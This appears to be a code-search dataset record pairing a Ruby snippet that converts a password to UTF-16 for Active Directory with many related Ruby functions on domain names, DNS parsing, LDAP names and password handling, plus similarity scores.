"def fqdn domain_name\n Service.fqdn domain_name, dns\n end",
"def fullname\n fullname = DNSSD::Service.fullname @name.gsub(\"\\032\", ' '), @type, @domain\n fullname << '.' unless fullname =~ /\\.$/\n fullname\n end",
"def compression_domain_name(dns_query, parsed_dns)\n buf = \"\"\n domain_array = []\n offset = dns_query[parsed_dns[:index],SHORT_LENGTH].unpack(\"n\")[0] & 0x3fff\n\n parsed_dns[:domain_name_dictionary].each do |domain_info|\n if domain_info[:first_index] >= offset\n domain_array << domain_info[:domain_name]\n break if domain_info[:domain_name].nil? or domain_info[:domain_name].include?(\".\")\n end\n end\n domain = domain_array.compact.join('.')\n return domain\n end",
"def domain\n components = rdns.map {|rdn| rdn[:dc]}.compact\n components.join('.') unless components.empty?\n end",
"def domain(base_name)\n Domain.new(base_name, @connection, @uid)\n end",
"def domain\n unless @domain\n if defined? ActiveSupport::CoreExtensions::String::Inflections\n @domain = name.tableize\n else\n @domain = name.downcase\n end\n end\n @domain\n end",
"def canonical\n dns_name\n end",
"def domain(base_name)\n Domain.new(self, base_name, @uid)\n end",
"def fqdn\n [name, tag, domain].compact.join('.')\n end",
"def normalize(domain)\n domain = domain.chomp(DOT).unicode_normalize(:nfc) unless domain.ascii_only?\n Punycode.encode_hostname(domain).downcase\n end",
"def domain\n @domain ||= PublicSuffix.parse(@fqdn).domain\n end",
"def generate_subdomain\n slug = self.name.gsub(/\\W/, \"-\").gsub(/\\-{2,}/, \"-\").sub(/^\\-/, \"\").sub(/\\-$/, \"\").downcase\n count = self.class.where(domain: slug).count\n\n while count > 0\n slug = \"#{slug}-#{count + 1}\"\n count = self.class.where(domain: slug).count\n end\n\n self.domain = slug\n end",
"def build_discourse_username(edx_username)\n edx_username.slice(0, DISCOURSE_USERNAME_MAX_LENGTH).gsub('__', '_').chomp('_')\n end",
"def domain_name(subdomain: T.unsafe(nil), domain: T.unsafe(nil)); end",
"def canonical_hostname(domain)\n # Allow hostname overrides\n return $override_dashboard if $override_dashboard && domain == 'studio.code.org'\n return $override_pegasus if $override_pegasus && domain == 'code.org'\n\n return \"#{name}.#{domain}\" if ['console', 'hoc-levels'].include?($node_name)\n return domain if $node_env == 'production'\n\n # our HTTPS wildcard certificate only supports *.code.org\n # 'env', 'studio.code.org' over https must resolve to 'env-studio.code.org' for non-prod environments\n sep = (domain.include?('.code.org')) ? '-' : '.'\n return \"localhost#{sep}#{domain}\" if $node_env == 'development'\n return \"translate#{sep}#{domain}\" if $node_name == 'crowdin'\n \"#{$node_env}#{sep}#{domain}\"\nend",
"def dns_host_name\n @dns_host_name ||= ::SimpleIDN.to_ascii(@host_name)\n end",
"def create_domain_string(dns_query, parsed_dns, domain_str_num)\n buf = \"\"\n dns_query[parsed_dns[:index] + 1, domain_str_num].unpack(\"C*\").each{|c| buf << sprintf(\"%c\", c)} unless domain_str_num == 0\n buf = nil if buf == \"\"\n parsed_dns[:domain_name_dictionary] << {:first_index => parsed_dns[:index], :domain_name => buf}\n parsed_dns[:index] += domain_str_num + 1\n return buf\n end",
"def format_email_to_ad_domain(email)\n return \"#{email.split('@')[0]}@#{AD_DOMAIN}\"\n end",
"def short\n return '' if name == domain.name\n return '' if name.blank?\n\n File.basename(name, \".#{domain.name}\")\n end",
"def cleanse_domain(domain)\n domain.downcase!\n domain = domain.sub(/^https?\\:\\/\\//, '').sub(/^www./,'')\n domain = domain.split(\"/\").first\n domain = domain.split(\"@\").last\n\n domain = PublicSuffix.parse(domain)\n domain = \"#{domain.sld}.#{domain.tld}\"\n domain\n end",
"def domain(tld_length = 1)\n host.split(\":\").first.split(\".\").last(1 + tld_length).join(\".\")\n end",
"def name_for_dsid(dsid)\n dsid.gsub('-', '_')\n end",
"def fqdn\n [ hostname, domain ].join('.') unless hostname.nil? and domain.nil?\n end",
"def bind_distinguished_name\n super\n end",
"def default_bd_name\n 'Bridge-Domain' + @bd_ids\n end",
"def domain(tld_length = 1)\n host.split('.').last(1 + tld_length).join('.')\n end",
"def cname\n self[:cname] || domain_names&.first&.canonicalize_cname\n end",
"def cname\n self[:cname] || domain_names&.first&.canonicalize_cname\n end",
"def get_dn(dn_str)\n custom_order = %w(cn l st ou o c street dc uid)\n default_opts = { dn_string: dn_str, string_order: custom_order }\n dnc_config = unhashie(options.dnc_options)\n DN.new(default_opts.merge(dnc_config))\n end",
"def normalize_domain(domain)\n return domain.downcase.gsub(/\\.$/,'')\n end",
"def get_name(dns_query, parsed_dns)\n domain_array = []\n for l in 0 .. MAX_DOMAIN_NAME\n domain_str_num = dns_query[parsed_dns[:index]].unpack(\"C\")[0]\n if (domain_str_num & 0xc0) == 0xc0\n buf = compression_domain_name(dns_query, parsed_dns)\n parsed_dns[:domain_name_dictionary] << {:first_index => parsed_dns[:index], :domain_name => buf}\n domain_array << buf\n parsed_dns[:index] += SHORT_LENGTH\n break\n else\n break unless create_domain_array(dns_query, parsed_dns, domain_str_num, domain_array)\n end\n end\n return create_domain_name(domain_array)\n end",
"def get_default_base_dn\n\t\treturn self.root_dse[:namingContexts].first.dn\n\tend",
"def new_domain\n domain || tag('Domain') || local_domain_name\n end",
"def format_dn(dn_str)\n get_dn(dn_str).to_s\n end",
"def domain_name\n Faker::Internet.domain_name\n end",
"def domain_name\n Faker::Internet.domain_name\n end",
"def canonical\n dns_host_name\n end",
"def domain_suffix\n offset = environment_first_char.ord - 97\n ENV[\"SUFFIX_CHARACTERS\"][offset..offset + 4]\n end",
"def group_distinguished_name\n super\n end",
"def create_domain(domain_name)\n Adapter.create_domain(domain_name)\n self[domain_name]\n end",
"def generate_username_for_district(district_guid, first_name, last_name, iteration = 0)\n username = first_name.downcase[0] + last_name.downcase[0..4]\n username += iteration.to_s if iteration > 0\n return username if username_unique_for_district?(district_guid, username)\n return generate_username_for_district(district_guid, first_name, last_name, iteration + 1)\n end",
"def domain_name=(d)\n @domain_name = d\n end",
"def ldap_domain\n @attributes[:ldap_domain]\n end",
"def absolute_domain\n domain.end_with?(\".\") ? domain : \"#{domain}.\"\n end",
"def fqdn\n \"#{to_label}.example.com\"\n end",
"def build_domain \n unless self.domain\n self.domain = URI.parse(self.url).host \n self.save\n end\n end",
"def domain_name\n return @domain_name\n end",
"def domain_name\n return @domain_name\n end",
"def base_name\n @base_name ||= if base = name.to_s.split(\"::\").first\n base.underscore\n end\n end",
"def extract_domain_name(payload)\n\t\tif(payload) then\n\t\t domain_name = \"\"\n while(true)\n \t\n \t len = payload[0].unpack('H*')[0].to_i\n \t # to understand below you might need to read up on dns packets. they take the form of [length][string][length][string][...]0\n \t if len != 0 then \n \n domain_name += payload[1, len] + \".\" #grab the first chunk from the begining, until the length specified by the packet\n payload = payload[len + 1..-1]\n else\n domain_name = domain_name[0, domain_name.length - 1] # -1 to truncate the 0 at the end of the payload\n \t\n \n return domain_name\n \t\n end # if len != 0 then\n end\n end\n\tend",
"def auth_domain_key(key)\n [AUTHDOMAIN, key].join('.')\n end",
"def subdomain\n ([self.short_name] + self.class.dalianshops.domain.split('.')[1..-1]).join('.')\n end",
"def normalize(domain)\n # strip off the protocol (\\w{1,20}://), the URI (/), parameters (?), port number (:), and username (.*@)\n # then split into parts via the .\n parts = domain.gsub(%r{^\\w{1,20}://}, '').gsub(%r{[/?:].*}, '').gsub(/.*?@/, '').split('.')\n # grab the last two parts of the domain\n dom = parts[-2, 2].join '.'\n # if the dom is in the two_level_tld list, then use three parts\n dom = parts[-3, 3].join '.' if @two_level_tld.index dom\n dom = parts[-4, 4].join '.' if @three_level_tld.index dom\n dom\n end",
"def to_ufn\n\t\tif LDAP.respond_to?( :dn2ufn )\n\t\t\treturn LDAP.dn2ufn( self.dn )\n\n\t\t# An implementation for LDAP libraries with no\n\t\t# dn2ufn\n\t\telse\n\t\t\tufn = ''\n\t\t\ttuples = self.split_dn\n\n\t\t\t# Separate the trailing domainComponents\n\t\t\tdcs = []\n\t\t\tdcs << tuples.pop while tuples.last =~ /^dc\\s*=/i\n\n\t\t\t# Append the non-dc tuples with their attributes stripped first\n\t\t\tufn << tuples.collect do |rdn|\n\t\t\t\trdn.\n\t\t\t\t\tgsub(/\\b#{ATTRIBUTE_TYPE}\\s*=/, '').\n\t\t\t\t\tgsub(/\\s*\\+\\s*/, ' + ')\n\t\t\tend.join( ', ' )\n\n\t\t\t# Now append the DCs joined with dots\n\t\t\tunless dcs.empty?\n\t\t\t\tufn << ', '\n\t\t\t\tufn << dcs.reverse.map {|rdn| rdn.sub(/dc\\s*=\\s*/i, '') }.join( '.' )\n\t\t\tend\n\n\t\t\treturn ufn\n\t\tend\n\tend",
"def getDomain(payload)\n\tdomainName = \"\"\n\t\n\twhile true\n\n\t\t# Get length of domain name section\n\t\tlength = payload[0].unpack('c*')[0]\n\t\t#length = payload[0].to_i\n\n\t\tif(length != 0)\n\n\t\t\t# Add domain section to overall domain name string\n\t\t\tdomainName += payload[1, length] + \".\"\n\t\t\tpayload = payload[length + 1..-1]\n\t\telse\n\t\t\t# Return overall domain name string\n\t\t\treturn domainName = domainName[0, domainName.length - 1]\n\t\tend\n\tend\n\tputs \"Domain Info: \" + domainName\nend",
"def fqdn(gear_name = nil)\n \"#{gear_name || canonical_name}-#{domain_namespace}.#{Rails.configuration.openshift[:domain_suffix]}\"\n end",
"def getDomainName(payload)\n domainName = \"\"\n while(true)\n len = payload[0].to_i\n if (len != 0)\n domainName += payload[1,len] + \".\"\n payload = payload[len+1..-1]\n else\n return domainName = domainName[0,domainName.length-1]\n end\n end\nend",
"def parse_domain_name\n mdata = /ip domain-name ([\\w.]+)/.match(config)\n { domain_name: mdata.nil? ? '' : mdata[1] }\n end",
"def get_domain_name_from_email_address(email)\n\temail = 'alex@makersacademy.com'\n\tn = email.gsub(/.+@([^.]+).+/, '\\1')\nend",
"def compute_base\n old_dn_base || super\n end",
"def set_name\n self.name = domain.name if name.blank?\n self.name = \"#{name}.#{domain.name}\" if not name.end_with?(domain.name)\n end",
"def set_domain_name(domain)\n @domain = domain.to_s\n end",
"def domain(tld_length = T.unsafe(nil)); end",
"def get_domain_name_from_email_address(email)\n index_no = email.index('@') + 1\n email[index_no...email.length - 4]\nend",
"def domain_name=(value)\n @domain_name = value\n end",
"def domain_name=(value)\n @domain_name = value\n end",
"def name\n if ipv4?\n \"[#{ip_address}]\"\n elsif ipv6?\n \"[IPv6:#{ip_address}]\"\n elsif @config[:host_encoding] && @config[:host_encoding] == :unicode\n ::SimpleIDN.to_unicode(host_name)\n else\n dns_name\n end\n end",
"def get_domain(payload)\n domain_name = \"\"\n while(true)\n # Get length fields\n len = payload[0].unpack('H*')[0].to_i\n \n if len != 0 then\n domain_name += payload[1, len] + \".\"\n payload = payload[len + 1..-1]\n else\n domain_name = domain_name[0, domain_name.length - 1]\n return domain_name\n end # if len != 0 then\n end # while(true)\n end",
"def extract_subdomain(host, tld_length); end",
"def create_cnames(domain, cname_records)\n account_id = ENV['DNSIMPLE_ACCOUNT']\n cname_records.each do |record|\n cname_name = record.name.chomp(\".#{domain}.\")\n cname_value = record.value.chomp('.')\n\n puts \"#{record.name} => #{record.value}\"\n $dns_client.zones.create_zone_record(account_id, domain, name: cname_name, type: \"cname\", content: cname_value)\n end\nend",
"def search_base_distinguished_name\n super\n end",
"def parse_domain_name\n if @options[:domain].blank? && !@options[:username].blank?\n if @options[:username].include?('\\\\')\n @options[:domain], @options[:username] = username.split('\\\\')\n elsif @options[:username].include?('/')\n @options[:domain], @options[:username] = username.split('/')\n end\n end\n end",
"def get_domain_name_from_email_address(email)\nend",
"def fake_name_c2(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0] \n\treal_last_name = real_full_name[1]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tvowel_index = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\t\twhile i < length_last\n\t\tif real_last_name[i] == \"z\"\n\t\t\tfake_last_name += \"a\"\n\t\telsif real_last_name[i] == \"a\" || real_last_name[i] ==\"e\" || \n\t\t\t real_last_name[i] == \"i\" || real_last_name[i] == \"o\" || \n\t\t\t real_last_name[i] == \"u\"\n\t\t\tfake_last_name += real_last_name[i] \n\t\telse \n\t\t\tfake_last_name += real_last_name[i].next \n\t\tend \n\t\ti+=1\n\tend\n\tfake_last_name\nend",
"def subdomain\n self.name.gsub('_', '.')\n end",
"def signup_domain\n 'signup.' + base_domain\n end",
"def create_domains(split_cp_domain)\n # EXPECTATION:\n # # [\"com\", \"com\", \"com\"]\n # # [\"com\", \"leetcode.com\", \"leetcode.com\"]\n names_collection = [] # [\"com\", \"leetcode.com\", \"discuss.leetcode.com\"]\n i = 0\n aggregate_dp_dom = \"\"\n while (i < split_cp_domain.length) do\n current_dp_dom = split_cp_domain[split_cp_domain.length - (i + 1)] # com\n if (aggregate_dp_dom == \"\")\n aggregate_dp_dom = current_dp_dom # com\n else\n aggregate_dp_dom = \"#{current_dp_dom}.#{aggregate_dp_dom}\" # leetcode.com\n end\n names_collection[i] = aggregate_dp_dom\n i += 1\n end\n names_collection\nend",
"def full_name\n \"#{username}/#{name}\"\n end",
"def district_name(name)\n if name.to_s[/\\A[\\dA-Z]+\\z/]\n \"District #{name}\"\n else\n name\n end\n end",
"def set_search_base_distinguished_name(opts)\n opts = check_params(opts,[:search_base_dns])\n super(opts)\n end",
"def domain\n return @domain if defined? @domain\n\n @domain = begin\n PublicSuffix.parse(normalized_domain, default_rule: nil)\n rescue PublicSuffix::DomainInvalid, PublicSuffix::DomainNotAllowed\n nil\n end\n end"
] |
[
"0.69623166",
"0.69332075",
"0.68167883",
"0.68031317",
"0.67725503",
"0.6702379",
"0.6697446",
"0.662761",
"0.65517074",
"0.6493758",
"0.6452573",
"0.64260846",
"0.639004",
"0.6364065",
"0.6303645",
"0.6279439",
"0.62763864",
"0.62599784",
"0.62599784",
"0.6228976",
"0.6207558",
"0.62063074",
"0.6184669",
"0.6178798",
"0.6158941",
"0.61563885",
"0.6143168",
"0.61099035",
"0.61071306",
"0.6095264",
"0.6075111",
"0.60630476",
"0.6042879",
"0.60392416",
"0.60187286",
"0.6015303",
"0.6002183",
"0.5998952",
"0.5973543",
"0.5956394",
"0.59527385",
"0.5913671",
"0.5907015",
"0.58970666",
"0.58969367",
"0.58917135",
"0.58917135",
"0.58815897",
"0.5857838",
"0.5845556",
"0.5836593",
"0.57983804",
"0.57818395",
"0.57723457",
"0.57723457",
"0.5769594",
"0.5736644",
"0.573191",
"0.5725525",
"0.5719611",
"0.5698019",
"0.56874305",
"0.56829613",
"0.5664044",
"0.5662759",
"0.5661131",
"0.5661131",
"0.565534",
"0.5642607",
"0.5629756",
"0.56124294",
"0.5610647",
"0.56083673",
"0.5607445",
"0.5605026",
"0.5602371",
"0.5588434",
"0.5582811",
"0.55540264",
"0.55387163",
"0.5538384",
"0.5536628",
"0.55267096",
"0.55032897",
"0.55032897",
"0.5498581",
"0.5496597",
"0.5488896",
"0.54800785",
"0.5462459",
"0.5459784",
"0.5437256",
"0.54293203",
"0.542262",
"0.5420296",
"0.5400015",
"0.53991246",
"0.5397882",
"0.5396574",
"0.5396487"
] |
0.84027666
|
0
|
Convert password to unicode format
|
def password_encode(password)
result = ""
password = "\"" + password + "\""
password.length.times { |i| result+= "#{password[i..i]}\000" }
return result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def normalized_password\n URI.encode(CGI.unescape(password), ENCODE_PASSWORD).force_encoding(Encoding::UTF_8) if password\n end",
"def ios_password(length = 1)\n 8226.chr('UTF-8') * length\n end",
"def to_s\n %[#<password safe>]\n end",
"def to_s\n %[#<password safe>]\n end",
"def encode_password(password)\n i = 0\n chars = password.split(//)\n count = chars.size\n \n chars.each do |char|\n i += 1\n char = char[0] << i\n low_15 = char & 0x7fff\n high_15 = char & 0x7fff << 15\n high_15 = high_15 >> 15\n char = low_15 | high_15\n end\n \n encoded_password = 0x0000\n chars.each { |c| encoded_password ^= c }\n encoded_password ^= count\n encoded_password ^= 0xCE4B\n end",
"def decode(joined_password)\n joined_password.gsub!(\"ashley\", \" \")\n joined_password.gsub!(\"blake\", \"e\")\n new_password_array = joined_password.split(\" \")\n password_array = []\n password_array[1] = new_password_array[1]\n password_array[0] = new_password_array.last\n password_array[3] = new_password_array.first\n password = password_array.compact.join(\"_\")\n password = password.to_sym\nend",
"def clean_utf\n attribute_names.each do |field|\n next unless self[field]\n next unless self[field].is_a? String\n next if field=='password_digest'\n self[field] = self[field].encode(\"UTF-8\",:invalid=>:replace,:undef=>:replace,:replace=>\"\")\n end\n end",
"def standard_password\n \"!@Cd5678\"\n end",
"def password\n @hash.to_s\n end",
"def password\n 'password'.gsub('', '')\n end",
"def decode_pass_word val\n Sequel.lit \"\\ncrypt(\\n?\\n, pswd_hash)\", val\n end",
"def to_str\n @passwd.name\n end",
"def getpwent\n convert_field_values_to_utf8!(::Etc.getpwent)\n end",
"def encode_credentials(username, password)\n \"\\0#{username}\\0#{password}\"\n end",
"def password=(val)\n @ldap_entry[:unicodePwd] = AdDir::Utilities.unicodepwd(val)\n end",
"def to_s\n @passwd.name\n end",
"def convert_unicode(str)\n while true\n u_idx = str.index(/\\\\u[0-9a-fA-F]{4}/)\n break if u_idx == nil\n\n u_str = str.slice(u_idx, 6)\n str.sub!(u_str, u_str[2..5].hex.chr)\n end\n str\n end",
"def encode_pass_word val\n Sequel.lit \"\\ncrypt(\\n?\\n, gen_salt('bf', 13))\", val\n end",
"def account_password\n\t\tif self[:account_password].blank?\n\t\t\treturn \"\"\n\t\tend\n\t\n\t\tBase64.decode64(self[:account_password])\n\tend",
"def convert_password\n self.password = BCrypt::Password.create(self.password)\n end",
"def encode_credentials(username, password)\n \"\"\n end",
"def password length=1\n '•' * length\n end",
"def escape_userpass(v)\n parser.escape(v, /[@:\\/]/o) # RFC 1738 section 3.1 #/\n end",
"def decoder\n joined_password = \"intblakernblaketsashleythblakeashleyall\"\n joined_password.gsub!(\"ashley\", \" \")\n joined_password.gsub!(\"blake\", \"e\")\n new_password_array = joined_password.split\n #[\"internets\", \"the\", \"all\"] \n #new_password_array.compact!\n #the compact doesn't do anything, it returned nil, so i'm taking this step out\n password_array = []\n password_array[0] = new_password_array[2]\n password_array[1] = new_password_array[1]\n password_array[2] = new_password_array[0]\n pass_as_string = password_array.join(\"_\")\n password = pass_as_string.to_sym\nend",
"def password\n Shellwords.shellescape(SabreDAVExport.password)\n end",
"def encode(password)\n #password started as a symbol\n pass_as_string = password.to_s\n password_array = pass_as_string.split(\"_\")\n new_password_array = []\n new_password_array[0] = password_array.last\n new_password_array[3] = password_array.first\n #done\n new_password_array[1] = password_array[1]\n #done\n new_password_array.compact!\n joined_password = new_password_array.join(\" \")\n #join turns password into an array\n joined_password.gsub!(\"e\", \"blake\")\n joined_password.gsub!(\" \", \"ashley\")\n joined_password\n puts joined_password\nend",
"def to_str\n [\"#{user}:#{passwd}\"].pack('m').tr(\"\\n\", '')\n end",
"def password\n [@password, @security_token].join('')\n end",
"def to_ascii; convert_format(UTF8, ASCII8BIT);end",
"def get_password(password)\n password\n end",
"def encode(unicode)\n unicode.gsub!('U+', '\\u')\n\n unicode.gsub(/\\\\u[\\da-f]{4}/i) { |m| [m[-4..-1].to_i(16)].pack('U') }\n end",
"def mutate_bcrypt_password(_)\n '400$8$2d$f6ed5a490c441958$67f59aa61bc617849a3280b5e80f78607e53b5aa5807a44ddbc53e804e2e2a99'\n end",
"def to_password\n password = @uri.password\n password ? Wgit::Url.new(password) : nil\n end",
"def test_password_special_characters\n skip_legacy_defect?('7.3.[012].(N1|D1)',\n 'CSCuy87970: NXAPI incorrect backslash escape')\n # N6k output may triple-escape forward slashes. For now simplify pattern.\n test_pass = node.product_id[/N[56]/] ? 'hello!//#%$x' : 'hello!//\\\\#%$x'\n vtp = vtp_domain('password')\n vtp.password = test_pass\n assert_equal(test_pass, vtp.password)\n end",
"def username_format\n return if self.username.nil?\n self.username.gsub!(/[^0-9a-z\\- ]/i, '_')\n self.username.gsub!(/\\s+/, '-')\n self.username = self.username.downcase\n self.username = self.username.byteslice(0, 24) #substring 24\n end",
"def to_utf8; convert_format(ASCII8BIT, UTF8); end",
"def ntlm_hash(password, opt = {})\n pwd = password.dup\n unless opt[:unicode]\n pwd = EncodeUtil.encode_utf16le(pwd)\n end\n OpenSSL::Digest::MD4.digest pwd\n end",
"def u64(s)\n return unless s\n Base64.decode64 CGI.unescape(s)\n end",
"def get_unicode_of(character)\n character.unpack('U*').first.to_s(16).rjust(4, '0').upcase\nend",
"def unencode_javascript_unicode_escape(str)\n if str.respond_to?(:gsub!)\n str.gsub!(/\\\\u([0-9a-fA-F]{4})/) do |s| \n int = $1.to_i(16)\n if int.zero? && s != \"0000\"\n s\n else\n [int].pack(\"U\")\n end\n end\n end\n str\n end",
"def unicode(str)\n Rex::Text.to_unicode(str)\n end",
"def password\n self.class.escape_dn(@cert_chain[0].subject.to_s)\n end",
"def convert_to_unicode(char)\n \n if char =~ /\\A\\\\/\n char = char.gsub(\"\\\\\",\"\") # Fix double escaping\n char = [char[0..-1].to_i(16)].pack(\"U\")\n end\n \n raise ArgumentError, \"You can only pass one character\" if char.size > 1\n \n char\n end",
"def create_login_msg(pw)\r\n delim = \"\\xFF\"\r\n login_str = \"#{delim}000000#{delim}20180810213226#{delim}01#{delim}60\"\\\r\n \"#{delim}02#{delim}1111#{delim}#{pw}#{delim}AAAAA#{delim}120\"\r\n\r\n end",
"def password\n { @label => @hash }\n end",
"def password\n { @label => @hash }\n end",
"def to_utf8 untrusted_string=\"\"\n ic = Iconv.new('UTF-8//IGNORE', 'ISO-8859-15')\n ic.iconv(untrusted_string)\n #ic.iconv(untrusted_string + ' ')[0..-2]\n end",
"def to_utf8 untrusted_string=\"\"\n ic = Iconv.new('UTF-8//IGNORE', 'ISO-8859-15')\n ic.iconv(untrusted_string)\n #ic.iconv(untrusted_string + ' ')[0..-2]\n end",
"def password_wrong_format(new_p)\r\n if new_p !~ /^[a-zA-Z]{5,14}$/\r\n flash[:password] = Resource.get(\"password_wrong_format\")\r\n return true\r\n end\r\n return false\r\n end",
"def to_utf8(s)\n return force_encoding(s.gsub(/&(.*?)-/n) {\n if $1.empty?\n \"&\"\n else\n base64 = $1.tr(\",\", \"/\")\n x = base64.length % 4\n if x > 0\n base64.concat(\"=\" * (4 - x))\n end\n base64.unpack(\"m\")[0].unpack(\"n*\").pack(\"U*\")\n end\n }, \"UTF-8\")\n end",
"def input_character_only_password\n fill_in(PASSWORD_INPUT_ID, :with => 'aaaaaaaaaa')\n end",
"def to_ascii!; replace(to_ascii); end",
"def to_unicode(string)\n SimpleIDN.to_unicode(string)\n end",
"def unicode(str)\n Rex::Text.to_unicode(str)\n end",
"def get_password_option(value)\n return value.nil? ? nil : \"Password=#{value}\"\n end",
"def encrypt_password\n self.password = Digest::MD5.hexdigest(self.password).encode('UTF-8')\n end",
"def make_up_password\n\to = [('a'..'z'), ('A'..'Z'), ('0'..'9')].map { |i| i.to_a }.flatten\n\tpass = (0...12).map { o[rand(o.length)] }.join + \"@\"\n\tputs \"Using #{pass} for password\\n\"\n\treturn pass\nend",
"def password=(_arg0); end",
"def password=(_arg0); end",
"def password=(_arg0); end",
"def password=(_arg0); end",
"def password_field; end",
"def unicode(str)\n\t\tRex::Text.to_unicode(str)\n\tend",
"def unescape(val)\n\tval.gsub!(/(\\\\x[\\da-f]{2}|\\\\u[\\da-f]{4})/) { [$1[2..-1].hex].pack('U') }\n\tval\nend",
"def encrypt (password)\n\ti = 0\n\tconvert = \"\"\n\tlength = password.length\n\n\tfor i in 0...length\n\t\tconvert += password[i].next\n\t\tif password[i] == \"z\"\n\t\t\tconvert = convert.chomp(\"a\")\n\t\tend\n\tend\n\treturn convert\nend",
"def password\n Digest::MD5.hexdigest(uuid)[0..9]\n end",
"def generate_password\n charset = %w{ 2 3 4 6 7 9 A C D E F G H J K M N P Q R T V W X Y Z @ # $ & ! }\n (0...6).map{ charset.to_a[rand(charset.size)] }.join\n end",
"def password\n Devise.friendly_token[0, 20]\n end",
"def decrypt(password)\n\ti = 0\n\tconvert = \"\"\n\tlength = password.length\n\talphabet = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\n\tfor i in 0...length\n\t\tpass_index = password[i]\n\t\tstr_num = alphabet.index(pass_index) - 1\n\t\tconvert += alphabet[str_num]\n\t\tif password[i] == \"a\"\n\t\t\tconvert = convert.chomp(\"Z\")\n\t\t\tconvert += \"z\"\n\t\tend\n\t\tif password[i] == \"A\"\n\t\t\tconvert = convert.chomp(\"z\")\n\t\t\tconvert += \"Z\"\n\t\tend\n\tend\nreturn convert\nend",
"def password=(new_password); end",
"def to_utf (str)\n encoded_str = ''\n str.split('').each {|char| \n encoded_char = char.encode('UTF-8')\n encoded_char.bytes.each {|byte|\n encoded_str << \"%#{byte.to_s(16)}\"\n }\n }\n return encoded_str\nend",
"def next_password(pw)\n l = pw.length\n pos = l - 1\n\n next_pw = pw.dup\n loop do\n if pos < 0\n next_pw = \"a\" + next_pw\n break\n elsif next_pw[pos] != 'z'\n next_pw[pos] = (next_pw[pos].ord + 1).chr\n next_pw[pos] = (next_pw[pos].ord + 1).chr if DENY_LETTERS.include? next_pw[pos]\n break\n else\n next_pw[pos] = 'a'\n pos -= 1\n end\n end\n next_pw\n end",
"def nt_hash(password)\n NTLM::Util.nt_v1_hash(password).unpack(\"H*\")[0].upcase\n end",
"def generate_password( length_of_pass, special_char )\n chars = []\n (\"a\"..\"z\").each {|ele| chars << ele}\n (\"A\"..\"Z\").each {|ele| chars << ele}\n (\"0\"..\"9\").each {|ele| chars << ele}\n if(special_char)\n [\"@\", \"!\", \"_\",].each {|ele| chars << ele}\n end\n newpass = \"\"\n 1.upto(length_of_pass) { |i| newpass << chars[rand(chars.size-1)] }\n #self.password\n self.unencrypted_password = newpass\n self.password_confirmation = newpass\n @unencrypted = true\n end",
"def unicode_filter_encode(str)\n self.encode_unicode ? Rex::Text.unicode_filter_encode(str) : str\n end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def hash_pass()\n self.pass=(BCrypt::Password.create(pass).to_s)\n end",
"def generate_password\n [*('a'..'z'), *('A'..'Z'), *('0'..'9')].sample(8).join\n end",
"def password\n @controls.password_field.text\n end",
"def password\n @attributes[:password]\n end",
"def password\n @attributes[:password]\n end",
"def crypt_password\r\n write_attribute \"password\", self.class.sha1(password)\r\n end",
"def password_require_letter\n @attributes[:password_require_letter]\n end",
"def params_toutf8\n all_toutf8!(params)\n end",
"def str_to_uni_z(str)\n enc = str.encode('UTF-16LE').force_encoding('binary')\n enc += \"\\x00\\x00\"\n return enc\n end",
"def encryption_password\n res = @resource[:encryption_password]\n ph = @property_hash[:encryption_password]\n return ph if res.nil?\n return :default if res == :default &&\n ph == @tacacs_server.default_encryption_password\n unless res.start_with?('\"') && res.end_with?('\"')\n ph = ph.gsub(/\\A\"|\"\\Z/, '')\n end\n ph\n end",
"def old_password=(string)\n end",
"def ipa_bulk_enroll_password\n 'en0llm3nt=p@ssWor^'\n end",
"def to_ascii\n input.gsub(/[^\\x00-\\x7f]/u, &method(:decode)).strip\n end",
"def getpassword()\r\n return getvalue(SVTags::PASSWORD)\r\n end",
"def password\n\t\tPassword.new( attribute_get(:password) )\n\tend",
"def set_password(v)\n @password = v\n # returns v\n end",
"def bypass_pass\n return \"%08x-%04x-%04x-%04x-%04x%08x\" % DataRepository.instance.get_bin(3).unpack(\"NnnnnN\")\n end",
"def get_display_text\n return (@password_char == '' ? @text : @text.gsub(/./m) {@password_char})\n end",
"def password\n @crypted_password\n \n end"
] |
[
"0.70082265",
"0.6750396",
"0.6590168",
"0.6590168",
"0.65554684",
"0.63409925",
"0.63168037",
"0.6295069",
"0.6282027",
"0.6265489",
"0.6260444",
"0.62466705",
"0.62118137",
"0.61934644",
"0.61910933",
"0.6093912",
"0.6019688",
"0.6009712",
"0.5974416",
"0.5966306",
"0.59642583",
"0.59621245",
"0.5912674",
"0.5875925",
"0.5853423",
"0.58123004",
"0.5810771",
"0.5781896",
"0.57745415",
"0.5767954",
"0.5754397",
"0.574212",
"0.5721011",
"0.56867003",
"0.56816936",
"0.5641751",
"0.5637799",
"0.56000805",
"0.556988",
"0.55585265",
"0.5536665",
"0.553507",
"0.55213535",
"0.55204195",
"0.5509476",
"0.5509476",
"0.54726243",
"0.54726243",
"0.5470989",
"0.54564625",
"0.54542947",
"0.5454236",
"0.5447672",
"0.5446302",
"0.5425404",
"0.54223925",
"0.5420117",
"0.5410707",
"0.5410707",
"0.5410707",
"0.5410707",
"0.5407649",
"0.539354",
"0.5389195",
"0.53854775",
"0.53730196",
"0.5362727",
"0.5361376",
"0.53456247",
"0.5341423",
"0.53388983",
"0.53354853",
"0.5333137",
"0.5326816",
"0.5308107",
"0.53067213",
"0.53067213",
"0.53067213",
"0.53067213",
"0.53067213",
"0.53067213",
"0.5299012",
"0.5296804",
"0.5296317",
"0.52949417",
"0.52949417",
"0.5286182",
"0.5282171",
"0.5277196",
"0.5273874",
"0.5263745",
"0.52557355",
"0.52526873",
"0.52505785",
"0.52473",
"0.52432597",
"0.5242521",
"0.52415437",
"0.52396697",
"0.52371854"
] |
0.68760425
|
1
|
Send active directory password reset token
|
def send_password_reset_token(user)
user.set_password_reset_token
user.password_reset_sent_at = Time.zone.now
user.save!
PasswordMailer.password_reset(user).deliver
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
